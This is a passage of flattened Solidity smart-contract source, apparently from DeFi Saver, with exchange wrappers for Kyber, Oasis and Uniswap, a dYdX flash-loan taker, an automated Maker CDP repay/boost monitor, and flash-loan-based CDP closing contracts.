(_exData.destAddr == KYBER_ETH_ADDRESS) { TokenInterface(WETH_ADDRESS).withdraw( TokenInterface(WETH_ADDRESS).balanceOf(address(this)) ); } // get the current balance of the swaped tokens tokensSwaped = getBalance(_exData.destAddr) - tokensBefore; } return (success, tokensSwaped); } /// @notice Calls wraper contract for exchage to preform an on-chain swap /// @param _exData Exchange data struct /// @param _type Type of action SELL|BUY /// @return swapedTokens For Sell that the destAmount, for Buy thats the srcAmount function saverSwap(ExchangeData memory _exData, ActionType _type) internal returns (uint swapedTokens) { require(SaverExchangeRegistry(SAVER_EXCHANGE_REGISTRY).isWrapper(_exData.wrapper), ERR_WRAPPER_INVALID); ERC20(_exData.srcAddr).safeTransfer(_exData.wrapper, _exData.srcAmount); if (_type == ActionType.SELL) { swapedTokens = ExchangeInterfaceV3(_exData.wrapper). sell(_exData.srcAddr, _exData.destAddr, _exData.srcAmount, _exData.wrapperData); } else { swapedTokens = ExchangeInterfaceV3(_exData.wrapper). buy(_exData.srcAddr, _exData.destAddr, _exData.destAmount, _exData.wrapperData); } } function writeUint256(bytes memory _b, uint256 _index, uint _input) internal pure { if (_b.length < _index + 32) { revert(ERR_OFFCHAIN_DATA_INVALID); } bytes32 input = bytes32(_input); _index += 32; // Read the bytes32 from array memory assembly { mstore(add(_b, _index), input) } } /// @notice Converts Kybers Eth address -> Weth /// @param _src Input address function ethToWethAddr(address _src) internal pure returns (address) { return _src == KYBER_ETH_ADDRESS ? WETH_ADDRESS : _src; } // solhint-disable-next-line no-empty-blocks receive() external virtual payable {} } contract KyberWrapperV3 is DSMath, ExchangeInterfaceV3, AdminAuth { address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant KYBER_INTERFACE = 0x9AAb3f75489902f3a48495025729a0AF77d4b11e; address payable public constant WALLET_ID = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08; using SafeERC20 for ERC20; /// @notice Sells a _srcAmount of tokens at Kyber /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Destination amount function sell(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) external override payable returns (uint) { ERC20 srcToken = ERC20(_srcAddr); ERC20 destToken = ERC20(_destAddr); KyberNetworkProxyInterface kyberNetworkProxy = KyberNetworkProxyInterface(KYBER_INTERFACE); if (_srcAddr != KYBER_ETH_ADDRESS) { srcToken.safeApprove(address(kyberNetworkProxy), _srcAmount); } uint destAmount = kyberNetworkProxy.trade{value: msg.value}( srcToken, _srcAmount, destToken, msg.sender, uint(-1), 0, WALLET_ID ); return destAmount; } /// @notice Buys a _destAmount of tokens at Kyber /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint srcAmount function buy(address _srcAddr, address _destAddr, uint _destAmount, bytes memory _additionalData) external override payable returns(uint) { ERC20 srcToken = ERC20(_srcAddr); ERC20 destToken = ERC20(_destAddr); uint srcAmount = 0; if (_srcAddr != KYBER_ETH_ADDRESS) { srcAmount = srcToken.balanceOf(address(this)); } else { srcAmount = msg.value; } KyberNetworkProxyInterface kyberNetworkProxy = KyberNetworkProxyInterface(KYBER_INTERFACE); if (_srcAddr != KYBER_ETH_ADDRESS) { srcToken.safeApprove(address(kyberNetworkProxy), srcAmount); } uint destAmount = kyberNetworkProxy.trade{value: msg.value}( srcToken, srcAmount, destToken, msg.sender, _destAmount, 0, WALLET_ID ); require(destAmount == _destAmount, "Wrong dest amount"); uint srcAmountAfter = 0; if (_srcAddr != KYBER_ETH_ADDRESS) { srcAmountAfter = srcToken.balanceOf(address(this)); } else { srcAmountAfter = address(this).balance; } // Send the leftover from the source token back sendLeftOver(_srcAddr); return (srcAmount - srcAmountAfter); } /// @notice Return a rate for which we can sell an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return rate Rate function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) public override view returns (uint rate) { (rate, ) = KyberNetworkProxyInterface(KYBER_INTERFACE) .getExpectedRate(ERC20(_srcAddr), ERC20(_destAddr), _srcAmount); // multiply with decimal difference in src token rate = rate * (10**(18 - getDecimals(_srcAddr))); // divide with decimal difference in dest token rate = rate / (10**(18 - getDecimals(_destAddr))); } /// @notice Return a rate for which we can buy an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return rate Rate function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount, bytes memory _additionalData) public override view returns (uint rate) { uint256 srcRate = getSellRate(_destAddr, _srcAddr, _destAmount, _additionalData); uint256 srcAmount = wmul(srcRate, _destAmount); rate = getSellRate(_srcAddr, _destAddr, srcAmount, _additionalData); // increase rate by 3% too account for inaccuracy between sell/buy conversion rate = rate + (rate / 30); } /// @notice Send any leftover tokens, we use to clear out srcTokens after buy /// @param _srcAddr Source token address function sendLeftOver(address _srcAddr) internal { msg.sender.transfer(address(this).balance); if (_srcAddr != KYBER_ETH_ADDRESS) { ERC20(_srcAddr).safeTransfer(msg.sender, ERC20(_srcAddr).balanceOf(address(this))); } } receive() payable external {} function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } } contract OasisTradeWrapperV3 is DSMath, ExchangeInterfaceV3, AdminAuth { using SafeERC20 for ERC20; address public constant OTC_ADDRESS = 0x794e6e91555438aFc3ccF1c5076A74F42133d08D; address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /// @notice Sells a _srcAmount of tokens at Oasis /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Destination amount function sell(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) external override payable returns (uint) { address srcAddr = ethToWethAddr(_srcAddr); address destAddr = ethToWethAddr(_destAddr); ERC20(srcAddr).safeApprove(OTC_ADDRESS, _srcAmount); uint destAmount = OasisInterface(OTC_ADDRESS).sellAllAmount(srcAddr, _srcAmount, destAddr, 0); // convert weth -> eth and send back if (destAddr == WETH_ADDRESS) { TokenInterface(WETH_ADDRESS).withdraw(destAmount); msg.sender.transfer(destAmount); } else { ERC20(destAddr).safeTransfer(msg.sender, destAmount); } return destAmount; } /// @notice Buys a _destAmount of tokens at Oasis /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint srcAmount function buy(address _srcAddr, address _destAddr, uint _destAmount, bytes memory _additionalData) external override payable returns(uint) { address srcAddr = ethToWethAddr(_srcAddr); address destAddr = ethToWethAddr(_destAddr); ERC20(srcAddr).safeApprove(OTC_ADDRESS, uint(-1)); uint srcAmount = OasisInterface(OTC_ADDRESS).buyAllAmount(destAddr, _destAmount, srcAddr, uint(-1)); // convert weth -> eth and send back if (destAddr == WETH_ADDRESS) { TokenInterface(WETH_ADDRESS).withdraw(_destAmount); msg.sender.transfer(_destAmount); } else { ERC20(destAddr).safeTransfer(msg.sender, _destAmount); } // Send the leftover from the source token back sendLeftOver(srcAddr); return srcAmount; } /// @notice Return a rate for which we can sell an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Rate function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) public override view returns (uint) { address srcAddr = ethToWethAddr(_srcAddr); address destAddr = ethToWethAddr(_destAddr); return wdiv(OasisInterface(OTC_ADDRESS).getBuyAmount(destAddr, srcAddr, _srcAmount), _srcAmount); } /// @notice Return a rate for which we can buy an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint Rate function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount, bytes memory _additionalData) public override view returns (uint) { address srcAddr = ethToWethAddr(_srcAddr); address destAddr = ethToWethAddr(_destAddr); return wdiv(1 ether, wdiv(OasisInterface(OTC_ADDRESS).getPayAmount(srcAddr, destAddr, _destAmount), _destAmount)); } /// @notice Send any leftover tokens, we use to clear out srcTokens after buy /// @param _srcAddr Source token address function sendLeftOver(address _srcAddr) internal { msg.sender.transfer(address(this).balance); if (_srcAddr != KYBER_ETH_ADDRESS) { ERC20(_srcAddr).safeTransfer(msg.sender, ERC20(_srcAddr).balanceOf(address(this))); } } /// @notice Converts Kybers Eth address -> Weth /// @param _src Input address function ethToWethAddr(address _src) internal pure returns (address) { return _src == KYBER_ETH_ADDRESS ? WETH_ADDRESS : _src; } receive() payable external {} } contract UniswapWrapperV3 is DSMath, ExchangeInterfaceV3, AdminAuth { address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; UniswapRouterInterface public constant router = UniswapRouterInterface(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); using SafeERC20 for ERC20; /// @notice Sells a _srcAmount of tokens at UniswapV2 /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Destination amount function sell(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) external payable override returns (uint) { _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); uint[] memory amounts; address[] memory path = abi.decode(_additionalData, (address[])); ERC20(_srcAddr).safeApprove(address(router), _srcAmount); // if we are buying ether if (_destAddr == WETH_ADDRESS) { amounts = router.swapExactTokensForETH(_srcAmount, 1, path, msg.sender, block.timestamp + 1); } // if we are selling token to token else { amounts = router.swapExactTokensForTokens(_srcAmount, 1, path, msg.sender, block.timestamp + 1); } return amounts[amounts.length - 1]; } /// @notice Buys a _destAmount of tokens at UniswapV2 /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint srcAmount function buy(address _srcAddr, address _destAddr, uint _destAmount, bytes memory _additionalData) external override payable returns(uint) { _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); uint[] memory amounts; address[] memory path = abi.decode(_additionalData, (address[])); ERC20(_srcAddr).safeApprove(address(router), uint(-1)); // if we are buying ether if (_destAddr == WETH_ADDRESS) { amounts = router.swapTokensForExactETH(_destAmount, uint(-1), path, msg.sender, block.timestamp + 1); } // if we are buying token to token else { amounts = router.swapTokensForExactTokens(_destAmount, uint(-1), path, msg.sender, block.timestamp + 1); } // Send the leftover from the source token back sendLeftOver(_srcAddr); return amounts[0]; } /// @notice Return a rate for which we can sell an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Rate function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) public override view returns (uint) { _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); address[] memory path = abi.decode(_additionalData, (address[])); uint[] memory amounts = router.getAmountsOut(_srcAmount, path); return wdiv(amounts[amounts.length - 1], _srcAmount); } /// @notice Return a rate for which we can buy an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint Rate function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount, bytes memory _additionalData) public override view returns (uint) { _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); address[] memory path = abi.decode(_additionalData, (address[])); uint[] memory amounts = router.getAmountsIn(_destAmount, path); return wdiv(_destAmount, amounts[0]); } /// @notice Send any leftover tokens, we use to clear out srcTokens after buy /// @param _srcAddr Source token address function sendLeftOver(address _srcAddr) internal { msg.sender.transfer(address(this).balance); if (_srcAddr != KYBER_ETH_ADDRESS) { ERC20(_srcAddr).safeTransfer(msg.sender, ERC20(_srcAddr).balanceOf(address(this))); } } /// @notice Converts Kybers Eth address -> Weth /// @param _src Input address function ethToWethAddr(address _src) internal pure returns (address) { return _src == KYBER_ETH_ADDRESS ? WETH_ADDRESS : _src; } function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } receive() payable external {} } contract DyDxFlashLoanTaker is DydxFlashLoanBase, ProxyPermission { address public constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; /// @notice Takes flash loan for _receiver /// @dev Receiver must send back WETH + 2 wei after executing transaction /// @dev Method is meant to be called from proxy and proxy will give authorization to _receiver /// @param _receiver Address of funds receiver /// @param _ethAmount ETH amount that needs to be pulled from dydx /// @param _encodedData Bytes with packed data function takeLoan(address _receiver, uint256 _ethAmount, bytes memory _encodedData) public { ISoloMargin solo = ISoloMargin(SOLO_MARGIN_ADDRESS); // Get marketId from token address uint256 marketId = _getMarketIdFromTokenAddress(WETH_ADDR); // Calculate repay amount (_amount + (2 wei)) // Approve transfer from uint256 repayAmount = _getRepaymentAmountInternal(_ethAmount); ERC20(WETH_ADDR).approve(SOLO_MARGIN_ADDRESS, repayAmount); Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3); operations[0] = _getWithdrawAction(marketId, _ethAmount, _receiver); operations[1] = _getCallAction( _encodedData, _receiver ); operations[2] = _getDepositAction(marketId, repayAmount, address(this)); Account.Info[] memory accountInfos = new Account.Info[](1); accountInfos[0] = _getAccountInfo(); givePermission(_receiver); solo.operate(accountInfos, operations); removePermission(_receiver); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "DyDxFlashLoanTaken", abi.encode(_receiver, _ethAmount, _encodedData)); } } abstract contract CTokenInterface is ERC20 { function mint(uint256 mintAmount) external virtual returns (uint256); // function mint() external virtual payable; function accrueInterest() public virtual returns (uint); function redeem(uint256 redeemTokens) external virtual returns (uint256); function redeemUnderlying(uint256 redeemAmount) external virtual returns (uint256); function borrow(uint256 borrowAmount) external virtual returns (uint256); function borrowIndex() public view virtual returns (uint); function borrowBalanceStored(address) public view virtual returns(uint); function repayBorrow(uint256 repayAmount) external virtual returns (uint256); function repayBorrow() external virtual payable; function repayBorrowBehalf(address borrower, uint256 repayAmount) external virtual returns (uint256); function repayBorrowBehalf(address borrower) external virtual payable; function liquidateBorrow(address borrower, uint256 repayAmount, address cTokenCollateral) external virtual returns (uint256); function liquidateBorrow(address borrower, address cTokenCollateral) external virtual payable; function exchangeRateCurrent() external virtual returns (uint256); function supplyRatePerBlock() external virtual returns (uint256); function borrowRatePerBlock() external virtual returns (uint256); function totalReserves() external virtual returns (uint256); function reserveFactorMantissa() external virtual returns (uint256); function borrowBalanceCurrent(address account) external virtual returns (uint256); function totalBorrowsCurrent() external virtual returns (uint256); function getCash() external virtual returns (uint256); function balanceOfUnderlying(address owner) external virtual returns (uint256); function underlying() external virtual returns (address); function getAccountSnapshot(address account) external virtual view returns (uint, uint, uint, uint); } abstract contract ISubscriptionsV2 is StaticV2 { function getOwner(uint _cdpId) external view virtual returns(address); function getSubscribedInfo(uint _cdpId) public view virtual returns(bool, uint128, uint128, uint128, uint128, address, uint coll, uint debt); function getCdpHolder(uint _cdpId) public view virtual returns (bool subscribed, CdpHolder memory); } contract MCDMonitorV2 is DSMath, AdminAuth, GasBurner, StaticV2 { uint public REPAY_GAS_TOKEN = 25; uint public BOOST_GAS_TOKEN = 25; uint public MAX_GAS_PRICE = 500000000000; // 500 gwei uint public REPAY_GAS_COST = 1800000; uint public BOOST_GAS_COST = 1800000; MCDMonitorProxyV2 public monitorProxyContract; ISubscriptionsV2 public subscriptionsContract; address public mcdSaverTakerAddress; address public constant BOT_REGISTRY_ADDRESS = 0x637726f8b08a7ABE3aE3aCaB01A80E2d8ddeF77B; Manager public manager = Manager(0x5ef30b9986345249bc32d8928B7ee64DE9435E39); Vat public vat = Vat(0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B); Spotter public spotter = Spotter(0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3); DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); modifier onlyApproved() { require(BotRegistry(BOT_REGISTRY_ADDRESS).botList(msg.sender), "Not auth bot"); _; } constructor(address _monitorProxy, address _subscriptions, address _mcdSaverTakerAddress) public { monitorProxyContract = MCDMonitorProxyV2(_monitorProxy); subscriptionsContract = ISubscriptionsV2(_subscriptions); mcdSaverTakerAddress = _mcdSaverTakerAddress; } /// @notice Bots call this method to repay for user when conditions are met /// @dev If the contract ownes gas token it will try and use it for gas price reduction function repayFor( SaverExchangeCore.ExchangeData memory _exchangeData, uint _cdpId, uint _nextPrice, address _joinAddr ) public payable onlyApproved burnGas(REPAY_GAS_TOKEN) { (bool isAllowed, uint ratioBefore) = canCall(Method.Repay, _cdpId, _nextPrice); require(isAllowed); uint gasCost = calcGasCost(REPAY_GAS_COST); address owner = subscriptionsContract.getOwner(_cdpId); monitorProxyContract.callExecute{value: msg.value}( owner, mcdSaverTakerAddress, abi.encodeWithSignature( "repayWithLoan((address,address,uint256,uint256,uint256,address,address,bytes,uint256),uint256,uint256,address)", _exchangeData, _cdpId, gasCost, _joinAddr)); (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Repay, _cdpId, _nextPrice); require(isGoodRatio); returnEth(); logger.Log(address(this), owner, "AutomaticMCDRepay", abi.encode(ratioBefore, ratioAfter)); } /// @notice Bots call this method to boost for user when conditions are met /// @dev If the contract ownes gas token it will try and use it for gas price reduction function boostFor( SaverExchangeCore.ExchangeData memory _exchangeData, uint _cdpId, uint _nextPrice, address _joinAddr ) public payable onlyApproved burnGas(BOOST_GAS_TOKEN) { (bool isAllowed, uint ratioBefore) = canCall(Method.Boost, _cdpId, _nextPrice); require(isAllowed); uint gasCost = calcGasCost(BOOST_GAS_COST); address owner = subscriptionsContract.getOwner(_cdpId); monitorProxyContract.callExecute{value: msg.value}( owner, mcdSaverTakerAddress, abi.encodeWithSignature( "boostWithLoan((address,address,uint256,uint256,uint256,address,address,bytes,uint256),uint256,uint256,address)", _exchangeData, _cdpId, gasCost, _joinAddr)); (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Boost, _cdpId, _nextPrice); require(isGoodRatio); returnEth(); logger.Log(address(this), owner, "AutomaticMCDBoost", abi.encode(ratioBefore, ratioAfter)); } /******************* INTERNAL METHODS ********************************/ function returnEth() internal { // return if some eth left if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } /******************* STATIC METHODS ********************************/ /// @notice Returns an address that owns the CDP /// @param _cdpId Id of the CDP function getOwner(uint _cdpId) public view returns(address) { return manager.owns(_cdpId); } /// @notice Gets CDP info (collateral, debt) /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP function getCdpInfo(uint _cdpId, bytes32 _ilk) public view returns (uint, uint) { address urn = manager.urns(_cdpId); (uint collateral, uint debt) = vat.urns(_ilk, urn); (,uint rate,,,) = vat.ilks(_ilk); return (collateral, rmul(debt, rate)); } /// @notice Gets a price of the asset /// @param _ilk Ilk of the CDP function getPrice(bytes32 _ilk) public view returns (uint) { (, uint mat) = spotter.ilks(_ilk); (,,uint spot,,) = vat.ilks(_ilk); return rmul(rmul(spot, spotter.par()), mat); } /// @notice Gets CDP ratio /// @param _cdpId Id of the CDP /// @param _nextPrice Next price for user function getRatio(uint _cdpId, uint _nextPrice) public view returns (uint) { bytes32 ilk = manager.ilks(_cdpId); uint price = (_nextPrice == 0) ? getPrice(ilk) : _nextPrice; (uint collateral, uint debt) = getCdpInfo(_cdpId, ilk); if (debt == 0) return 0; return rdiv(wmul(collateral, price), debt) / (10 ** 18); } /// @notice Checks if Boost/Repay could be triggered for the CDP /// @dev Called by MCDMonitor to enforce the min/max check function canCall(Method _method, uint _cdpId, uint _nextPrice) public view returns(bool, uint) { bool subscribed; CdpHolder memory holder; (subscribed, holder) = subscriptionsContract.getCdpHolder(_cdpId); // check if cdp is subscribed if (!subscribed) return (false, 0); // check if using next price is allowed if (_nextPrice > 0 && !holder.nextPriceEnabled) return (false, 0); // check if boost and boost allowed if (_method == Method.Boost && !holder.boostEnabled) return (false, 0); // check if owner is still owner if (getOwner(_cdpId) != holder.owner) return (false, 0); uint currRatio = getRatio(_cdpId, _nextPrice); if (_method == Method.Repay) { return (currRatio < holder.minRatio, currRatio); } else if (_method == Method.Boost) { return (currRatio > holder.maxRatio, currRatio); } } /// @dev After the Boost/Repay check if the ratio doesn't trigger another call function ratioGoodAfter(Method _method, uint _cdpId, uint _nextPrice) public view returns(bool, uint) { CdpHolder memory holder; (, holder) = subscriptionsContract.getCdpHolder(_cdpId); uint currRatio = getRatio(_cdpId, _nextPrice); if (_method == Method.Repay) { return (currRatio < holder.maxRatio, currRatio); } else if (_method == Method.Boost) { return (currRatio > holder.minRatio, currRatio); } } /// @notice Calculates gas cost (in Eth) of tx /// @dev Gas price is limited to MAX_GAS_PRICE to prevent attack of draining user CDP /// @param _gasAmount Amount of gas used for the tx function calcGasCost(uint _gasAmount) public view returns (uint) { uint gasPrice = tx.gasprice <= MAX_GAS_PRICE ? tx.gasprice : MAX_GAS_PRICE; return mul(gasPrice, _gasAmount); } /******************* OWNER ONLY OPERATIONS ********************************/ /// @notice Allows owner to change gas cost for boost operation, but only up to 3 millions /// @param _gasCost New gas cost for boost method function changeBoostGasCost(uint _gasCost) public onlyOwner { require(_gasCost < 3000000); BOOST_GAS_COST = _gasCost; } /// @notice Allows owner to change gas cost for repay operation, but only up to 3 millions /// @param _gasCost New gas cost for repay method function changeRepayGasCost(uint _gasCost) public onlyOwner { require(_gasCost < 3000000); REPAY_GAS_COST = _gasCost; } /// @notice Allows owner to change max gas price /// @param _maxGasPrice New max gas price function changeMaxGasPrice(uint _maxGasPrice) public onlyOwner { require(_maxGasPrice < 500000000000); MAX_GAS_PRICE = _maxGasPrice; } /// @notice Allows owner to change the amount of gas token burned per function call /// @param _gasAmount Amount of gas token /// @param _isRepay Flag to know for which function we are setting the gas token amount function changeGasTokenAmount(uint _gasAmount, bool _isRepay) public onlyOwner { if (_isRepay) { REPAY_GAS_TOKEN = _gasAmount; } else { BOOST_GAS_TOKEN = _gasAmount; } } } contract MCDCloseFlashLoan is DFSExchangeCore, MCDSaverProxyHelper, FlashLoanReceiverBase, AdminAuth { ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); uint public constant SERVICE_FEE = 400; // 0.25% Fee bytes32 internal constant ETH_ILK = 0x4554482d41000000000000000000000000000000000000000000000000000000; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant DAI_JOIN_ADDRESS = 0x9759A6Ac90977b93B58547b4A71c78317f391A28; address public constant SPOTTER_ADDRESS = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3; address public constant VAT_ADDRESS = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B; Manager public constant manager = Manager(0x5ef30b9986345249bc32d8928B7ee64DE9435E39); DaiJoin public constant daiJoin = DaiJoin(DAI_JOIN_ADDRESS); Spotter public constant spotter = Spotter(SPOTTER_ADDRESS); Vat public constant vat = Vat(VAT_ADDRESS); struct CloseData { uint cdpId; uint collAmount; uint daiAmount; uint minAccepted; address joinAddr; address proxy; uint flFee; bool toDai; address reserve; uint amount; } constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public {} function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { (address proxy, bytes memory packedData) = abi.decode(_params, (address,bytes)); (MCDCloseTaker.CloseData memory closeDataSent, ExchangeData memory exchangeData) = abi.decode(packedData, (MCDCloseTaker.CloseData,ExchangeData)); CloseData memory closeData = CloseData({ cdpId: closeDataSent.cdpId, collAmount: closeDataSent.collAmount, daiAmount: closeDataSent.daiAmount, minAccepted: closeDataSent.minAccepted, joinAddr: closeDataSent.joinAddr, proxy: proxy, flFee: _fee, toDai: closeDataSent.toDai, reserve: _reserve, amount: _amount }); address user = DSProxy(payable(closeData.proxy)).owner(); exchangeData.dfsFeeDivider = SERVICE_FEE; exchangeData.user = user; closeCDP(closeData, exchangeData, user); } function closeCDP( CloseData memory _closeData, ExchangeData memory _exchangeData, address _user ) internal { paybackDebt(_closeData.cdpId, manager.ilks(_closeData.cdpId), _closeData.daiAmount); // payback whole debt uint drawnAmount = drawMaxCollateral(_closeData.cdpId, _closeData.joinAddr, _closeData.collAmount); // draw whole collateral uint daiSwaped = 0; if (_closeData.toDai) { _exchangeData.srcAmount = drawnAmount; (, daiSwaped) = _sell(_exchangeData); } else { _exchangeData.destAmount = _closeData.daiAmount; (, daiSwaped) = _buy(_exchangeData); } address tokenAddr = getVaultCollAddr(_closeData.joinAddr); if (_closeData.toDai) { tokenAddr = DAI_ADDRESS; } require(getBalance(tokenAddr) >= _closeData.minAccepted, "Below min. number of eth specified"); transferFundsBackToPoolInternal(_closeData.reserve, _closeData.amount.add(_closeData.flFee)); sendLeftover(tokenAddr, DAI_ADDRESS, payable(_user)); } function drawMaxCollateral(uint _cdpId, address _joinAddr, uint _amount) internal returns (uint) { manager.frob(_cdpId, -toPositiveInt(_amount), 0); manager.flux(_cdpId, address(this), _amount); uint joinAmount = _amount; if (Join(_joinAddr).dec() != 18) { joinAmount = _amount / (10 ** (18 - Join(_joinAddr).dec())); } Join(_joinAddr).exit(address(this), joinAmount); if (isEthJoinAddr(_joinAddr)) { Join(_joinAddr).gem().withdraw(joinAmount); // Weth -> Eth } return joinAmount; } function paybackDebt(uint _cdpId, bytes32 _ilk, uint _daiAmount) internal { address urn = manager.urns(_cdpId); daiJoin.dai().approve(DAI_JOIN_ADDRESS, _daiAmount); daiJoin.join(urn, _daiAmount); manager.frob(_cdpId, 0, normalizePaybackAmount(VAT_ADDRESS, urn, _ilk)); } function getVaultCollAddr(address _joinAddr) internal view returns (address) { address tokenAddr = address(Join(_joinAddr).gem()); if (tokenAddr == WETH_ADDRESS) { return KYBER_ETH_ADDRESS; } return tokenAddr; } function getPrice(bytes32 _ilk) public view returns (uint256) { (, uint256 mat) = spotter.ilks(_ilk); (, , uint256 spot, , ) = vat.ilks(_ilk); return rmul(rmul(spot, spotter.par()), mat); } receive() external override(FlashLoanReceiverBase, DFSExchangeCore) payable {} } contract MCDCloseTaker is MCDSaverProxyHelper { address public constant SUBSCRIPTION_ADDRESS_NEW = 0xC45d4f6B6bf41b6EdAA58B01c4298B8d9078269a; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); // solhint-disable-next-line const-name-snakecase Manager public constant manager = Manager(0x5ef30b9986345249bc32d8928B7ee64DE9435E39); address public constant SPOTTER_ADDRESS = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3; address public constant VAT_ADDRESS = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; // solhint-disable-next-line const-name-snakecase DefisaverLogger public constant logger = DefisaverLogger(DEFISAVER_LOGGER); struct CloseData { uint cdpId; address joinAddr; uint collAmount; uint daiAmount; uint minAccepted; bool wholeDebt; bool toDai; } Vat public constant vat = Vat(VAT_ADDRESS); Spotter public constant spotter = Spotter(SPOTTER_ADDRESS); function closeWithLoan( DFSExchangeData.ExchangeData memory _exchangeData, CloseData memory _closeData, address payable mcdCloseFlashLoan ) public payable { mcdCloseFlashLoan.transfer(msg.value); // 0x fee if (_closeData.wholeDebt) { _closeData.daiAmount = getAllDebt( VAT_ADDRESS, manager.urns(_closeData.cdpId), manager.urns(_closeData.cdpId), manager.ilks(_closeData.cdpId) ); (_closeData.collAmount, ) = getCdpInfo(manager, _closeData.cdpId, manager.ilks(_closeData.cdpId)); } manager.cdpAllow(_closeData.cdpId, mcdCloseFlashLoan, 1); bytes memory packedData = _packData(_closeData, _exchangeData); bytes memory paramsData = abi.encode(address(this), packedData); lendingPool.flashLoan(mcdCloseFlashLoan, DAI_ADDRESS, _closeData.daiAmount, paramsData); manager.cdpAllow(_closeData.cdpId, mcdCloseFlashLoan, 0); // If sub. to automatic protection unsubscribe unsubscribe(SUBSCRIPTION_ADDRESS_NEW, _closeData.cdpId); logger.Log(address(this), msg.sender, "MCDClose", abi.encode(_closeData.cdpId, _closeData.collAmount, _closeData.daiAmount, _closeData.toDai)); } /// @notice Gets the maximum amount of debt available to generate /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP function getMaxDebt(uint256 _cdpId, bytes32 _ilk) public view returns (uint256) { uint256 price = getPrice(_ilk); (, uint256 mat) = spotter.ilks(_ilk); (uint256 collateral, uint256 debt) = getCdpInfo(manager, _cdpId, _ilk); return sub(wdiv(wmul(collateral, price), mat), debt); } /// @notice Gets a price of the asset /// @param _ilk Ilk of the CDP function getPrice(bytes32 _ilk) public view returns (uint256) { (, uint256 mat) = spotter.ilks(_ilk); (, , uint256 spot, , ) = vat.ilks(_ilk); return rmul(rmul(spot, spotter.par()), mat); } function unsubscribe(address _subContract, uint _cdpId) internal { (, bool isSubscribed) = IMCDSubscriptions(_subContract).subscribersPos(_cdpId); if (isSubscribed) { IMCDSubscriptions(_subContract).unsubscribe(_cdpId); } } function _packData( CloseData memory _closeData, DFSExchangeData.ExchangeData memory _exchangeData ) internal pure returns (bytes memory) { return abi.encode(_closeData, _exchangeData); } } contract MCDCreateFlashLoan is DFSExchangeCore, AdminAuth, FlashLoanReceiverBase { address public constant CREATE_PROXY_ACTIONS = 